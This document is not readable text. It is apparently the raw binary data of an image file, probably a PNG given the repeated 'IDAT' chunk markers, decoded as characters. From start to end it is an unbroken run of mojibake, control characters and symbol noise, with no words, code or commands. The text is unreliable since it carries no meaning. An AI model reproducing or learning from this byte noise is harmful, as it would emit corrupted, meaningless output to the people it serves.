ܨӴuVSўL+}ae?⺭PCl'[NN> >D$wԎ4TIIg"#É(z"JNN;~`66V^`/ V(SLc"䉟:xQaZjԤ)35='}9Ma_("h'2=gbº jiܥ†$[U}y9y99tA޺7wHz5R:az}0ԦO>WN:LxzF5&[TZ50 ˲ 0,ò ð C 0 1UWQ8:y[ͨy,kFZuu:9[ 9UkS>>tW6NjXs!ʂ?>SyO+7ixE$2ZJn[Qr<C3nH4ˠ9[uO8Vޭ&eYn ݐ: P dT#nw#c_A@SA M44dTA@SA ME؈kiF\ tA[Y5j蕖6jM44dЦLxg{dͽ'ٮ^(Dt¹]vj[_ؘ].~6S&kbVV{˦ffVm<|pwƘ`޴ѣ5۷Xx4Sl|x?ѡq~~XX3gAO G `ee{~Z?{Eg.Hħ0R4hؑ?[zF&ee E gjԚ>j 7M.\q<E9~굺9O߱s=3T*YrM܉3Dt\b۶FD7%?g }z:Q_E"zy?ܢ{Pn"MZkߖ,qufH3貲!˿KDm۴s'Wں-z_|Y9sde&RK&V8p0FW?j}cmFXWvV u[n0;'%e"rssf&77RneeYKZG-_6WR=fP7''Oվee_Og {~c@TT\ez2h-ekjE'>Ɯ׫;w7~t#=;yˮ=x@ h@au5b8uMUuZ-'ٻ}G;o3ggeee7xțѝ\s<^Wo"hIIn.ԩ%_DU18{׍l۾gؗRwъ yNNޑ#qUΝw .)}#Ŝ41ӿhmm) ;vh233+ /5?ڱmFƭz6u`/GD⟢zNhͲl-uF&+un¬Ǹa>׳G-}7'm˖ml/77g"rqvvj ;v񱧇]DD.0D"r NN:wjgee!u_!kSs%y'[^ x31Y*,۹Sw~64>͜Aߺ}gӧM9}eϝ;sJKu#[?,NR}3on|ڌIW^`ލ4A"wZ-w<6>@RԐccv pTjט1#*R-HHNƟeYffzqDx)IϚŜ jBDq1G:zf/ȸzH$1nkǯmشh,]plӾ_2O,885Nߟ>saBSl^kǚ6T{fGo߷/k+ˏ>,}Fwo.aL1Gwٽ^VPqS#Am_ؑfO ]ؘ]l7_=u2z֬-XLJ;V]j <_3<89xx2>\ߣ1`޴K_7JK YaeYbXe*hw_VuDU>j:hx!^pO6*Kq5x5fMDwAxd5AQF_[w@SA M{q,,m$,;Fz`zso\fD||ONF&w`ͽx6&V]<  2hh*Ƞ   2h7_OٵwQ+Y8 33᠙_qns Ƞ?q/Mtڶ l/KX[sܜٹN?p'cW6~JC_NJ%T2;TVʛwo8@ EcϿ4#ݟ/'?[ggg֭*ϙO%~ҌY.^ڡ}ٟD"H4g'_tuEͽ;h~ȠnMJDnnN|=qӆ%~BD={.I/O%wܭkk*^McdDnԠ@Pm6!D|tHDDÆc, ڷqK}'o#\>sozןZ_ rE DȠ@Vt>!ݡéE"/?ʫ;=iXGGwu.Z=~0Pп_Ml)omڰdӆ%-jݩӉ!!VVDԽ[S/kw5ÙF7pNK@KZ0 +`ju=t>+,cnkkͿ菎 $\ܱCH! .>mBl{4EK^ndﾘ}{"8'Zm` 68n+";ko;y++FzEG4rԤ=554s[33IAkitr=ܝڶ 8|$>cm~~ }\YYYE\n]}X[Y.]իiw^KkǨLhq[$Jӭk D 㯉Q"anNYy5ݸSjyPP :ؽ[J}';Dh޽>ӧ{Hpˬ\"ruub{D,TvVnzm"tڥKJ%sfҾ]+DڱͼM@Ƞtx vs6WRķ8 IDAT (7Wvv5Rb8gO%ΚZ1Q]Å(?8{r ̙֮Ku@c13~ՔZ_t hڷk=g'ЋLAD n9~{F'\4:YH${diinbټ°mYpvv01Jѳ3ML3;y>-;#Q?3(FZQj\,hٶ?]}z%yi&7Pۃq пLv-!u*""%6-J\FYZ8pwxC?]Dž~M?5ǎ9vv6eeӦ?{.zQkGo K~~:S*%j^i |~\eOWJXb%lgÏpZee4غڮ; Ø gXƲᠶLqsYGDUj+ν-Vv;MRS+9Ǖjjv=EEx}jRSn毺|dTQ*˓T)+l=B +I_biliv09rl-juZq娻OG[G7k4*(Էu)VS|[Ef"X6\^Y,NfYavFb,t59qھlpD\YIᠽum48x뗗uY?(5lŲLcuڞaNJdY"?TeIV-8rY}W6o=%9冃=cBEϚ6^m3%>NA?2}bx.L '"0D'keluzbw3!.SL\ʚ<&O)y}}a@à1СMm<|pw;vh~݊S'wzjS;m2ʹdm^zc;wϠs϶JM=u<屠-k! "g]3l緭{`\ho{ht\UjyGD\rJSrD+8R ʱyRee3BH`%Xܮ(-Un/hչK+++ؘ]'wn_SmEw-Vo'^^~^kݟ?xQg{fiNm%ߣG 43~9kJg];mKV?{`-DȠ铝yI(3=V)JdCs+YyvL9sFQYj DBԭE{N1Za}Z̸zf6DT^0gpf)s+é6.Nn>pjn=YnPb-,v yΰ(Xȸ-K o_,B[xD`&;m~j|"R$jrz?qrEo};3$w9]gᾨ}wQLj ߪqWAٳLib#dܿn( 8Y\<َ o M85_RWF/ˏZ]ח?Zm|!9dsj #W8…˽ }>խ'}⩟ϙBO8W>l׳?M>m…+/aO ^aBzk5kqYȫes; Z%rT)+U |#;Q)2Sh_V[^R-^"Z-yջ]+< auAC@Wv+ՖnNnӏ< %RJβBk{k1.BQUwe_j\ai7$ٵ(5$fIP\\w?`}u[Zn lۯooRU _JD[QTYr""v;3.A?ވw0 ^yg]!"MJoi۹p*j'wqiiA0=;[YZZVm٧͛oMMD<ڨG2jBeԴݺ?pL7?&Ԫz''2hxGQÆ]zrS%CNj"Żmz1 ERJVU23 G,'"çM7VɉEsĢ4[Vh3KT/7:XwG_h}8Pa^z/ת D$Gl>|yqqs߰}Y.,7:MmwJ.WѦͻL}kG LDR|%" >nܸhъg2h-ek4%e٪F~D#ws~qMVigm\`,郖D$u' X""cEYID,*25Gfx]>8.udף{bnT,ݗS/Ǽ6\p}fm`ﾣ{о͜9߰MO >-0LNNV}*?O̔x@(ðF'(Vڙj o]uV)+B;״P$v"b־"gn@VrS-8ۺzɼDD.^mʊs*e,+m^TrV ]U:ðz m+.~"a[vUJdU-hwMsAA-L:`@תٜ-|}Ymݺ%]|wdVH$2sr:wjgee![%͛㷼<FDW_x_֡ᨺQHJєGz;^\f?KcṸ=+0Q,!fy )PZv""q s O/,)j(In!kSs%w9q⌵k$̤FZ[[]ӿhmm) ;vhԲcu@ر+3j*+Juܶ] #(.q=X0@\Vܺu,|kjtyd\;', d^*N&"ɽ{+Lܱ_};-Z ";g/o$KoHTXxoJ[0,+` bb' .ϼCDOlPKI,+}ƙ!eAsm_/[ ;*EynDNӦ}\YYp32n}-,̏Ǟ6}=v%׮N1Byˊ@ xio~sPoj੄  2hI;E$ ^EPOO._ĄC'u&ongĆmiLy_?'1ᐗ{3Bhbu?V}1{AWX [%2k=>"بB{qľo黥VZ":܁];U;513gLj@A?hxxuvt [U[k4"0<+=AVWˮXVPwFQF0_WP$-)L|XV^.5qpO<{ b>vNɾyv"rbm0y,yEAɣp͔Dw@wbiIGyrĢe~6gw )Z䥙@m5C2ٵh)+?X(qeiIAMt.Q7!ă;v䈗ٔO>D"{G/)/SLԖy-Pj><0Kwg-K!H[S6^ výv"mδ+rMWq@UShF#?I snݟ?Zxzm2hx(Iv6!] /vvI|[xJ޺ -z޸rݧ5H_p oۺ͔xNm"Dbs~K,v.,e'0;#1~a: 蚜`m_6P"$pB:@Զ_Ynm˺ji[bYO`xPHi{9*ejP^W&Y;e]GxظGoS % yXYNJbYXzucBUEGhv;+'9dr==VXp2.:1Pb![["zqOpР{'&:t^3n`m֯[q_V/6[M2y*}[%%sB{MX@lTľBǪ1"gigY=LD[Syȕ)D)Pje*"Ͳ[ 8ۢ}|wϝ\.Y[_*)ڑU DDtu:~i 1;Ιjz?ϧ~{FrЖ{7Ӎ{yyal̮u}瞋Ǐ|z<Ƞ铝yI(3=V)JdCs+YyvL9sFQYj DBԭE{N1 i3qQyI0Ξ̭ Zڸ8J;j d)BW[U'x92UB[#6t,-ED~Eʊ" nyy7R}߃W@BVV 8Ν󹝝~0 kYD$JV\|~/EF 5\$,㠁}~g#Dka/[aaD4tQ a/9>;m~j|"R$juJԹJ"w6%(oEC8)V $"wcߴ͝{5ϱ|:1"6"بÑ}Fڋݾi#ۏ.XjY{ے=faDĊE6ߺ^ݫ~ʏ&_=96Tߤ EF z5o"aCպuu?Đ9UE IDAT@HD+?'лX,^ .34zT|e!C+R~RPB*L:tt74   @ %y嚝B7" }WYzx m57fLaF@x߲k,&-*:RA$W1Ѭ+暝;kv֊tU@6堍*wE^Z8KEY\5vza+W~l"GfhqnM_kG.^i78yٰuG5jHӓM[2vgX?“gJ:y,Ф^ffpauKu[М-X"gYGshƸ8f?j>b>|7?(##b c=7~?7my Z   ȃ ¬3! H Ý (b`Q&ˊlV#!B{UvCDRJ#%vJ(Q< RZjʳb90|'uUPwk&9mbT~8A\*lcbޭਸyB z[zP,wN'5"" p?juC@;v ԌA}##l䗟l邫={tHD\.7,,o[`п_,]|၁~ӦNOnW pF`YY v^e)(EDKaOw^#Q^ _7ap\Bw*,N )&U*=vWf [w󠬴b>dR!:t^*0i.+$S@Z   <8H.'8Ld%h+F_(,dʒtЭKqFh 3NNp"?Lr4eQ^g&1LN(-?dH C :J*O'f1^<Ӡ ah2ne׵k7~{ g?S}NNY^hiS'N% Ȩ^͂ 9EeYaeaYaY'bbz9z ̌KGAAAдH|kײʒx@F-uࠀX3pr&igR `6<^O/z*|>0 q q;J8yum>nFAAAaX%Oc_ol;~|1^? PAAAAw߇[mrڕ AA{bAAAAA䁄r     ?堑ǑGVY     r A#FAAHǠ9$#F u|L^ǟwޞ戻ۺٻ׷II>sfQBpUd0|M6838"yn?!xW?>Ȕan{8ܙo^%Dt<О܊Kw{  ~!==#B)eT\/>*P`~%yv a8Q]{m0 UGsH0;5NYv erUhJϮEpу c/+RsDO^R #MvQiUFFd)OUEՔ\?Ʋ\(pLy>*4(b/2*rZ +ywakғ0y8p՚<-Xe{M>9H:қ'k)Ҫu9- |+vO8^U '+=Bpz0k0^ e7xQRbϯ."qHܖeP/n7]mWYV0vWG9wR4ql VTTzjӁ -@9h  e_f5<|{Rg N]RXIMOʯӵQ6sǞF M;3ڙv-4:>$*. PA@p@+x|#'g٤Քe8,?%_8w;3Ӡ$5>*Dz ;Q)wû (!/v:"0CGRBc>:M kƦM>ϔx unmؗ&=ʔYYr:=*8R*]nvܽy]ދyW.K,H K1@[^KWZ=6=L,wܾ0qw=*. 8!2e/ ܹ)Hcyihd0ռȖϢ ^X:ʫt52z-@2Gݒa` crϐ};]t*dOܟoq8 ^LDžƞ&TRYFOt`NՙR,0&ږgb uK;Wu*=7oZxbwJܣ>(V|XN AK7}"-?~nn#>>u,?{zK8g8=? ޻wmo.]8y8 r+ o#  r`^Z->͢: %r|{fe/YL 9$;+Cۅ⺜Aola| :5aJBIrbJ^s` WsӔgqx/rF}emuq ,˲LE6n=kCR)4kDeeɚFlԶPUv٨kۆޠ.Kr K湻GD&؝xb[vYffO }xؔ&@Hp@3#?|{3K:qʹeSj^r!g2HUՆ\SU#eo8ڞ^zyAiчq"G4z).>\.^7ɽAV,ϟ>J=u T*=G=9?ZBÇ٬_gYkx3yl?RTXW8p?VRCO;}s>xv׮`L+L5;R9*5PE,?s,SA G>AD5'u$Gee?,kT!2ͩ:+:q+],@5#c[(l3f <ּ?*i *U͉2񶗚m&`b;^!x[_abenw)O_Wu&q0\̡_^NEo]JjmhhP|\# rrAzJĢ~ifsfư,巃@zFJ)ɤ#G?4rFvNn~1:nnצrII堑H"if;   AаӠ_He3S6S}Qf B[ ߠnW(X 1e@;B}bvwju-;WxKt:ur5iSgf }w qc>w)*DGu8|)_n_0c*8~B\@xJkm.5@@spMb1xpI)Ekl%K0_ " 0 .ȧocNXaoy&d}nU,URgփf ڃAӚ:v19 n!"e]J߽jlj׮;_ڰgv^כ;SV^YY ׽픝!U/_R8?(#3_|Ԑ{A#&nVW<݌   %y嚝B7`?*˲RoF8<0Ge(k͏e1i9$?Waz  Ž1f]904&ށ]SmV)m4T+ZբqX,:窱 {-XeK9r4C7%Vfh!IaLכO.W9Y@ѧ`'d֕y4XÈl+4Ujܨ"[>9m!YeXUݥ =NyϜeuY0W7Z}٭lnN@;8xcݺvZd^y.p(-++znAG0 S+h~az$@O]pb%QahAAy`8[u 8Aa E ,9ߤ rY7yj$8_htNqHHBipdN % _YAJSVMyP,g/t. *Nzd8Z8UMl/'H+P u9t ûr4UXaX@XoY:byW<;pm?ga QHKYՕA8wqFF?؈/?$W+z"\nXX0l߾筷^0,8(XHcMۭ}g8.$yLނhYP UfxA" %`J"1. 0.m^mJ-!"p>mm(3 $ʯq"ZR[= 01v+{x"/Bay_*~H@OK ί?'>t\]Q]Cy;H+a"=gybȐ@3yӑt^*0i.+$>p Tpwϝr?B렑L h0P7\,BQUPahAAy\>NpPNKV7Z:PZY|%[0VgDt iʢ.J+ɽ!LbFNN(-?dH C Ve/QD*|"-m9 :nsbC+CC{We^?}Ppt|l h+ o.0'ibwDpT5d*\Ij12SwHFU{oqܩ IDATD q^C,PA  R)M&SE;E߶"d ?ݷH^7yzFw_nJtYNa11]˲ۚRͫ92/`Ӧm:lݲ˾Zvj^j^ gx"rvDY3m8Y]i炉Y5"BXU6?2E%{-)CƱS+{/Nۋ 8EW?ٲ ']~/sJHX\̱'x~zz#t{˄=܃wX|g6X eRfGp<{U -{K5''1V2?wllEQ:wro}lŦGoQeP:Z} Irf w0,h~ȷs)uWXKNQ'vgݻt>Kzyl~a^{}3MN_8tu_dռog]zc͚4,2W`:HG7weYa`aXaXEeF.3㒳sGVBFUjG#s+:0aBm۽\AAAM Mķ]UYO֨BKBpP?8hw9wܳSVA,!|S)8a8`8XQ {ݿk 7A#=DL7JMUŖih)4   İ K&o}X߼٬w^HcYWDo4r?i40̓Jo1'\fIy/AAA_PPPܻí6[jUk  w=W|tj<`b;4#AAAAAB렑cCs5×GJ8K{|yCTEP,, 冻8AAAr}9ubǾS֯}9$W`u8Npdn >(guzPT //Z>   ߂jq +7w9<(?mǑFڡK/ J#w'ܛBB|A ?WA>E=!y7u!0b_h;8ࠀ#g:4G- hޝ5MJ;dӦN|oi)7_y&ioC{hZ6i؏[#8*3Av0,|#m=Ϩ_^)lĨ=6@렑^:x*jPٍ;5\ ί W.H<_A;/R6KEs vWl+ ׏v 0ߐX4 STE erUhJϮEpу c/+RsDO^R #MvQiUFFd)OUEՔ\?ƲNowDae =TA|AW*'P`YVST ]' teʖZ] БWzʯ $ma4xaӯ"C8aN%wڟ8yZ$5 nL<0h06~ 2e/9=?'y~pSvu1&K}lFO\<BCsSDva2pcʌ_#?L!~6-p#oߟSw?1b32@Kcvxbq}y>C;Eї.T|EX {Eu?qgm _.]|Ė'q۰=;s7KsD;?Z;;vS-m~^0ir~~"ֶwwcظ~SGj?Y|)3ͷxק[LWSQ}3x_+z( sg>㘙aL ; !H5*`,[igT@XMJOg8;8Xm[θ5k{4C'x E.IЛ`؟K. - Co ²?kk+Hp͏1$VjE}Sgtg(ݔ$1D\_J4h뾐.@yl][kxΞݽGg+"|K}@X"DD":B rӸ\5*&(  ܳVجFot1U,iXKU9 Tuv7fi|y\;nFLJDe^9*:vWHroĝ5Ld^ n#{gptuQ=`FKsuHJ/,7kx|qO+}; ɦM>ϔx un헷-)Lܩo-hٷ92˲X%jr2$m#ǖW~ W,q|bz~Ȏ v/+3hS^˰GuZ[}KfzlI;j@eK J`<WoU.oOAT'Ԏyl@]>wKDz$҅J[+_ps5?/(7ɪJsLO7* wv=#)3fU_v[_C=%shJ;!y$BIR55FQ!oC2FQ}w.tWi2?h>@eeYܰY"\9ws_ӛd|V51TObyBF1 +t/!`:cr2$`|u@g+x*dQMhiTX*~^Q&, sN Sz^4B-4G r w{  zw4^r荻4A3*K U,0vU&,8jP^z"˲E]tbbQv,H? )+b8-:I򆐲< )t5LS4h>]4ez]ݪhAK<pt%/Pud Ap͆;eSYOQֺĉnUsDˉ?qyb/U~jj*:&4 ;z*ʲvue#h)L%ZE~}pc31=5mysߨ5TVUO2y &'_8'Ks{-xu#l޴:,4X" 6Nuc1'<)'?]iwR(;xLPȟ;.]sf׿V_jgm<䗟`Y6E={ e8"]cÈ,9<^7f=O 8`~މc=^zW.n `ǤgrEcοw^^%%2@Τ@??1ʢro8!_ni.IŔ?a|Fu0٩ 2JXlޢAR cO~#>aR3;8Bg|}ytdžS5:mʔM? YU./QuiĨ*.K#K;wob$,uզrta^'*<OM*ޫ.3 i[ ̈́CE?n1zLH-5N޺SfngM&Jn\sf} c N/o h2tyV#+vսHalk/XwU%tskMCoKEMV-@-6ͷm]a%LR~aEvd!93^4Z@K;iW?o<2lKrfKCZcnb>YceM?F;qk!'@Oyq AA{ipYUErPA,:MP"OOYg^|buWTW8ؕBEȾv J0) F>ٰXRx_;` WsӔg:ywVf&eYql#@,PY[]ʐM!O(I4 dMӫ ^]XRgp -f9o-E~{ PZV>qқO<1i_2+1A2Ao6GfΘ" -]h0wӮg tP1 㟞뙳y \X:$/}uX`l#_'t#ǽ>Y?JII.9:u)t;>m]۶ƞ]A _Ymόf(jf/{<\S#Ed_=f[`pEjjˌJ6[`?MX4$btaZ7bē 9=9g_3OH^f Xi&i;M.-{nϪ7(A`AGpgQÐԫR ?7Xy9@S3B!qV9Ow@xEO?h7J>Lmg*tձ FBI;>=.fc~>}oοx? GfV,,h%m]0lޢm*WJMqCJVkbDwpsv {y80XFٽ8D(<7Gy4,4S>yu4mB{4E!fJ 72W\ݨ2މ+ac_Vj7BruP7dTS_ F BcfWZ[Zt%R( ~0=&O=w_Xr拕6n:F?Jnwԓz1s߬e%{ձ"]rls,M0!l27ʓB]Xe6k23js}{l,vSctYu~3Mk"h-ngrc CFiQ%*z(Hwؗ_Qa>PTWYV;ĦI ܸ!Pu.qHF5G>R%4Kfuj{8;Ycv[a1&Ϯ=N~e? 22n.h.ǰK&K!9Ac,l)nfͻAJ8@VA$!6@J0abXGbڃC0 òϸ +q/C|#_y(j4qyTC„ںփKFK>7Vd2TZozu04tk7ftt=/W  `9 ; jʳ-TC`TqS63e3e0,$zj+ vL$icQ63,ry"cmL`}b2SRTN7''I=ZwK߱yߝYe}c k-wza=;xtN;3-kPXFpIz.qb{v{L("|EWbT*!CP*VYjknnn'wd{2{_ 2SUUPtF\guX㫊+Ȩk X8"OwV#Nx'^x5N=W!Oxj\D[*Je}Dr 7>Y-b1gO_laqBdo6gB_zۡݹl9ٺG{V^TټeP_wwަO,S_>r5;|EǏaدbwa$d"nEy6rY m[~r ڛkcyDheVw ! Pl1pXJ5T 0,xr%n 47]5`Cx?Ԛ>PDg>uC]jDpXojM|-voB9h俅:sTz  r %y嚝B7" }WYzx m5k60 s[Vp6zcYLZUu>&Hc̣YW55; w`#@ۭ%骀.mA U Vmq#*ιjJ=z ENhV88|>/>mrE.]s-Z]A ^o8A :՘5y 8*iðV4P,wNC{/ SV ؇ pL2$ThKK_THH/y$ٶ񸟯Z|ة# 'BP'B>|rRt)""ngf<AAV~㹬u'QfS /ӽ2SU7|cz(;6q2m@UFX?ī[̰[kkq {vE<ۗ+w?)c^Wط'|#>=b1 { G|'96ıoJ$8չGX΂}9Mwyۿ[Jjvqutr0)BL 31 uY]3fu% *̭XBH$7*3yJԯ?gQ#rB{+k1[~cG&WKٹJ  rO |t0>ou|ieʒtЭKqFh 3NNp"?Lr4eQ^g&1L#N(-?dH C :J*O'f1^<Ӡ}~μ[2#z]™Ǐj`eiiy}ݻt>,zsyxȯI8ׯᰫ?n/$1cuֱcؘ'qGڵU澹ϟ)v5k6WM?VttVsΜs՚3IY\FZ~+Ԗ_XEkjί:$nHkm)To['&oZC.PŸ`jrN|a7f = A=rmUVEs^H2UUZI߷f=u'M*]\M ? ø\n>ZJj{͙]ߘѵʼK%% naDBM_L]H&IY|qWFGwlLRbwO Xط'cߞ=ҁwI= ZKdS"V̭     C9h~UnچcMt膰LeKHFAAAA}P_  n@m    14rs, 9ӰhaT8   v3_mk,0bm眿{ڹl8c5ocx,=NsZGS/U/Wvܩw<&"$eSD_rOpzy+'57ڄ:mN9V@#  ȃ/w_(lE\ Я$/ّljh;aoH?Cug(ժ[%Kr[;vj9z'GQ[BWvދ,[-!ٱICHifvf-譥z .*պb$irx5vVSղ䌼 UAP~5g¼Ǝ>LQ aokۈP$Sr\ݵJ]0[(yָ1i lfh[>wq/?ۿXŃ-޳LRDԦYxw |s^%Y|ӳMpVv!N^B(Ecp~gr8}d(Ją80 0 0 z| zK,}~-jp\+t&P1~Os fnL˞_ ˆkaIsl96r idϦ7"y̋>DcGUS͏$AO<#3FS՚X-z>vU\uJ޾m+).)[X[vW3KO7J`P,UpF5kWYUm]MT@O.cWM DZk>\~c_Fa\8'fѵW })Qڈ}i9^́e1FOaaaa64x\<  r7lE@:sP:ku6lSisա{jOK/?19EVcS hQrja/8ї/ξpK8A"ac+p E ;X&"IM<vc8m}_(d vewٌvs{Jum6\mř EW']Pqtb-ʪ?Q$L5f|NrJ!kqBsX)D@H_ue, YeEHgSkGBQ1N BHjn8SGJn/ Ku$fv $8)ˊ%E~G_+1Q6rd"VʮW[4F̄kssÃ.[oIewQ2MeYirAlKdLktZ@/$MfBHf2ٵƽe./"R><6Ky۳?+?&\y;9/ ~ \-1 0 0 -!rq,Ѱ-~13;  (fB~YBr( < ҎmANwu̥Vcs lONɚv{W8\H0~.8J "[ri:AkbYZc0_mU{ݦ"q('IB0w Бcݽ 񐢽^خn`&&gv gŠ{k?R)ܔ>PϾK\ 7t2?`0s8n'csS|^d IhGjfEE}sN_!dJ{I$=^kM6iM櫴_haMA.@+%+pe|6ֹzh]Z\1ixwZ*P_m~տ׎xG-f&j.\pW5(OU9]L{\ѾQwxʮXW[ue^ך>sѻ&HYʴ{m%-8Kt|ړx~:P$.t~ig)Z+AR"`lk r;Ac'P c%$kaaa;[4ZZ8j0#w% y9K6@@ 2[ -gO8ERHuj= Uj vB}eL#΅PZdcG%b6^X.-fwXG>Dc4aWx;Hf97s^VumZۏ8D3 r CYK3S޽z;&7xwټb޿Q)!Bb`7 ̋u|DБO,\,"hLT,ADsE%H?U>$eJIE&G0U? c Rţ!WZ_k;o:}`G.Jq[?E_,D%zwXQO*Ե]RRB|>+܋s(C\IFR #9h$ (cˏ} 0 0 ~g2"Y嚣R&j۪}n[f~Y_g BHJE<)z E0e>>\C@3w5WBXJM>QI͚r`pldhKGz,Il/p@v7q ;T(УK>v]~q=A%JiGɄD 17' @'LJ ׃f--GY1B4u2e.t1kV9jƜ.aӣ lgwqwH"EPDiC9yb1@|MIkHz"c^m*Lqf!|n{CqzJcި(' *Yt`zv__v;aCZ!#~OMGq|9q0 0 ~gȝ\AQ)&2j ʻ[wq:QțnmXF@d !*r H4JU`E*W-kXP Z{X:CC/{-G7|}c klV8-s͎/zX[zmOCeY6z(g*AvNI1lY*u41 ۽TҡD#1.;ro@+bMA7X k>&`*r}ku.kH7Zl uxowdL(VfOtbJQ:%)S7ۃ-WbKS97 w_7eYNq@B&xgGK |ﾩ2eYQ ylz0(,~Xp=rÏGwE<y!G"ɓvuGnw8FÙ#f4_8H<>11IJ0k[ ICK"/; (Za6o R.H6Guu60ֳvtBC>8Q39V:tþ>ϨFKIʺz?2n/a%aaq2rb6 } 6kD*?SÎl{X>wȻTln韯WpO;0 #<*j6=ɚϑA$I@$Id<)9D-Ac'Dbwl6?]$\}G'ArqfsD-^fl*ɲ2ugEŀxD 0d(jHpxǁ.`? rDkog;^8n" 0 0 0 9h7XֹI BaA(B͌:MSqHpyަ=^eV9 svL$HU8aaaaAc7"*zE} kr> IDATot|nR2{H 4Ion@KBd'  "ã KȡAF Xz>{gxs;D#@=-c^@h;F<# `D m80r`n;F mpxHG Nfp:COD 8pl5x[C B`vvaaHZ:siY(ePOc;߽l_G=ÛsK?+X"7˓\AłL7a'AcqnMqN{W@#:P5O'~|E~ O{Fr6T?+ 0 ð?ܩɩb Lc;^N@g/%Ifjkȱ AtZtX2*׉J.jX¼IgT,!9#oBFcm9E Y&0h~gsj0/eAZ6".Ɣ.Wjwu0ee5 &-RIR :wLm0~慊ă_DUb%4~_?]7۽Z+]S8em.' m@gOr:QOIN9C0 pÎ#=[,krTWf4 'ު'>댂ϛq\8)|OB 0 ð/**UӗX[`B+WZMZ.c2!fnݘ=)1Y -TГ挛\sl BɞMoE}$ƎI̟xFf5Q[4|4 tꔼ}VR]RTeɱFTg旞n2˕X;}k֮챳 &/ں2֛]MUVPdL]_*OK/U$-ISca9h ;xg~Uޱ9[/ybgBx`W ð8p NPU=C a@ j>}s8쉝aa7~&pj Pi JNst5DW.h-N͚sTHم;ęX mFQWNi°˕:Mj~w#1t7 k@$I,Q.[O éP˱ʓ]nPis..-x4$)%<^n;"_`m8,W[>K-.R F'?4y%oYɽ՜b ALe/O4gcE]vHyE[;٣X iEM3#ҒDɄ:|i[lOL"DřTv֦\,$_Gvv'݊RHydeEO{b]m tʲBӓcðsv"yYf7Yc~%7㰓exΝ G(Taa:yt4l$):s̎-_ BA/sqAS]]:sۓS&09-2!,9"\/=ru58B<9=X5n#Wm[^)~wH IRPe:4cݽ `1b׾s=ߴy!-?&hT(y]fZ2}%rUVZB}eL#΅PZdcG%b(v6nSis5YR$"qBV7 )u>?owlw.-I2ҙI2Y"|a8P0TqEz{۰XSp_dF A{ a}%A%OcL@)ifJ#z{u]bE8!AP9 rrdL5iv !߮_S]{avPņ~weY/p{XQ"P7.wWbvp0 0 0 ]țFdkKmvme}5!*\@./3vgr+shqf P|+B4W4458*YZ :}r^%IvnG!#;[sX[~w.Qu]~q=hཛྷvՕYÐi&d Щni5`/()VڇDP@+ k4 {[C1I2xD"aE]i&!$Gx4t#]<1L?ΡAQlpV q~s'񼛵ꊹh?+$*Wð_AcIF G0'&&h{ԣm?k]0 0 0 5$;#y B|vAywC " ʻ*(7$ "&+9&h8 Z[r5bibJ-vNR|\XՕ|Kk 8 x $]N% /K-׺TgI&(iXuU6O1s4mf2&պcP%eB]>Q򻃛 I88J,+^W Y )!31O WZS)`Ǹ@ʽo l>x@8Z+7oD@pG|c9'ǿ޿Nwoar>;>q|{,}ku.lt!th1`z1v~gNI`'<[̎0UŬsҒ(<czZWk}#sdRFZ|M)ˊo݌gճmLY61Rġ%G R:Ėx..Kie^m ~mDaÂC~>.By@<byg^90 Î9M0 0 0 0 0 0}a6:~㉞¯{ح]s'j&aaaAcv4p0 0 0 0  Ǝ r8>&S0 0 0B3VeG7BVl :[~ |= Hgg>po^rYWtw9pZzcGz 7۝kO/.7?=sw;桇  1g]tޅ89ɜ BO[~\s2R8':xQ%d$PH$z (Mzv0 0 0W;59@,U0PsPYcg+ 13R$ILmmu9!"=w.X@YfػTUm_\@W I󬱳:%$gMW{-68դl0vT eb {[kFX݅"٘J8pN6$IP_M)U$)\;l6Hϝ P{n|CByZv{9Ys=|SO/Tl._vM7^%P$IBmws87o! |^_eΡAƛLuwzSQu̥Mv/ }RϺ\Ѱ 1+cfW^ܱ ܿ,ܵܞ\0qWU|'sF.x5y˓E=ׯaTS>CL3oVG1 N8DWK(⟚@QĎ g6[~%c ۻ XJHY>hjp!L~4Mm[O8I%~ӾHxcOhiv{+-<̬ d\sqZM #~O۟{)җ5JD/ejw勅39@I>n.;p4a_1; 8,~yr>j=},~ͳ]8/AH{߾L!eЗK&)TIUV+ȕ9S!Y!x8vo bvl,xޮMԃ+腂0XrxϮkWΡW{oO4;ULKsq0J 3e#oy "$ <[.Hgaaaد,**UӗX[`B+WZMZ.c2!fnݘ=)1Y -TГ挛\sl BɞMoE}$ƎI̟xFf5Q[4|4 tꔼ}VR]RTeɱFTg旞n2˕ڡܖ-rlP,Ms{Zw5UYB1% w ljcd Mi6Sm3!BnׁO?y )icN;W^8r_+?owm}}}GF}ǐH\@ͧL.|?:(`Y_5|䫮-/ Ʌc˦n1>ɥK>[_!XxƊ$*5;ڿf&IRc>O*ιNgUTd4&LJv:C[ z`KC׎sڃVvv:ko/X?:C?hjhf69a22)$3F[Y6+E&&_ݴbO-w?۷75ڗ\O9,󣯜 ej STDN^N"\=]Hj0ʲ^۷OX,atpz6k 2*lnPSdXx'$&G'+7@rӥwrR8A~]J@m҂sR:BL.y EuR *H\M`˷P!A/TH3Eا) tT{xrw-qFt(aa'?'z.av0BA/x\<  r7lE@:s]>h6:SNC (Zd56Ś%v5Xh/M_ ngыxXX6 z)JY& ~73P] Ilm}lh=Q,@3JONZ0Z(&Ȱ1IIdI/L9-gLIRףHL<gl?Gߺujॗ.q{wXUo=4_vlrݔ)@"#wo߼7on`%/Zʟ+L ]n|`ٵh 5ҧL&8ioM9a|^_vlk\  >FLbkcc"=g_۵J}VsEEW_Ѓ_=}:9o65&_{r߿/۟~ݟzCq8BQUKsrO>wʖ/s |^']xq^w矮aYמnO%U[vtB}>=Zz148LR~b8Ꮏ޿Pomrtr]k]k봘dYlhq+ IDATVu|nZ\=o/32lP0VLqba-00\ wjt(W@MkiR̭k]? }-,p%P9J /dQ ^JkϘ{![)._\," `;ՁS/S$b}"f޷^t_1 ;9aa6JDƮ`?I+`B+|(MP;HϙռX \I\85kϱRy$ Idv÷⢱p5]|H>%.»Y>mY|%\f|M۪kjkjjZ{[Jq[nj#Or[o4%r&\z֧^W ϻp @RnDŽdPнc[RΘpa/\mq5+WS5o˾WѕN ~ںx[sWwFpsE8;,DZLPw۝w;mWg#Kr/$78K?sV`ظp5@wu'Oծ[*@0$ p}F_3J=UGxC? .ñhO]:L~9$X:!y+z_^䢼85;u'tse"eS>gMj%B!u_}LؘߟHΕo44hd'׺EbQPA^dwߡKՠ6*zoLHX YV:FI蒞VKx4M62l-@$%I̎b(̪zmv{ Sdb8M! 5Eϛ~?{Dm&e(3#i|b4aL4= 0 ;)8h?HRt昙 [E3!,!9^BiG6 λtR9w 